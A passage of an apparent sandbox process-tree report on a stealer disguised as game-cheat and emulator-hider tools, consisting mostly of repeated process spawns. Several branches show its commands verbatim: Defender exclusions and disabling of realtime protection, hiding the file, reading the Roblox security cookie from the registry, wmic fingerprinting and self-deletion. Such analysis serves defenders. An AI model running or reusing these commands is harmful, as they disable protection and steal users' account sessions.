        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        272⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        273⤵
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        274⤵
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        275⤵
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        276⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        277⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        278⤵
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        279⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        280⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        281⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        282⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        283⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        284⤵
        
        PID:3600
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        285⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        286⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        287⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        288⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        289⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        290⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        291⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        292⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        293⤵
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        294⤵
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        295⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        296⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        297⤵
        
        PID:372
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        298⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        299⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        300⤵
        
        PID:7084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        301⤵
        
        PID:6000
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        302⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        303⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        304⤵
        
        PID:372
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        305⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        306⤵
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        307⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        308⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        309⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        310⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        311⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        312⤵
        
        PID:2764
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        313⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        314⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        315⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        316⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        317⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        318⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        319⤵
        
        PID:3872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        320⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        321⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        322⤵
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        323⤵
        
        PID:3992
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        324⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        325⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        326⤵
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        327⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        328⤵
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        329⤵
        
        PID:1120
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        330⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        331⤵
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        332⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        333⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        334⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        335⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        336⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        337⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        338⤵
        
        PID:4224
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        339⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        340⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        341⤵
        
        PID:564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        342⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        343⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        344⤵
        
        PID:4224
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        345⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        346⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        347⤵
        
        PID:3696
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        348⤵
        
        PID:6244
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        349⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        350⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        351⤵
        
        PID:5876
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        352⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        353⤵
        
        PID:564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        354⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        355⤵
        
        PID:4612
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        356⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        357⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        358⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        359⤵
        
        PID:6244
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        360⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        361⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        362⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        363⤵
        
        PID:4612
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        364⤵
        
        PID:3960
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        365⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        366⤵
        
        PID:6696
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        367⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        368⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        369⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        370⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        371⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        372⤵
        
        PID:400
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        372⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        371⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        370⤵
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        369⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        368⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        367⤵
        
        PID:3668
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        366⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        365⤵
        
        PID:6000
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        366⤵
        
        PID:564
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        366⤵
        Views/modifies file attributes
        
        PID:3980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        366⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1996
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        367⤵
        
        PID:6316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        366⤵
        
        PID:6512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        366⤵
        
        PID:2192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        366⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        364⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        363⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        362⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        361⤵
        
        PID:564
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        360⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        359⤵
        
        PID:6624
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        358⤵
        
        PID:180
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        357⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        356⤵
        
        PID:2764
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        355⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        354⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        353⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        352⤵
        
        PID:5884
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        351⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        350⤵
        
        PID:3836
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        349⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        348⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        347⤵
        
        PID:6900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        346⤵
        
        PID:6508
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        347⤵
        
        PID:3992
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        347⤵
        Views/modifies file attributes
        
        PID:7016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        347⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        347⤵
        
        PID:5760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        347⤵
        
        PID:6680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        347⤵
        
        PID:6696
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        347⤵
        
        PID:4832
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        347⤵
        
        PID:6960
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        347⤵
        
        PID:2620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        347⤵
        
        PID:5760
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        347⤵
        Detects videocard installed
        
        PID:4524
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        347⤵
        
        PID:3060
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        348⤵
        Runs ping.exe
        
        PID:2764
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        345⤵
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        344⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        343⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        342⤵
        
        PID:3992
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        341⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        340⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        339⤵
        
        PID:2928
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        338⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
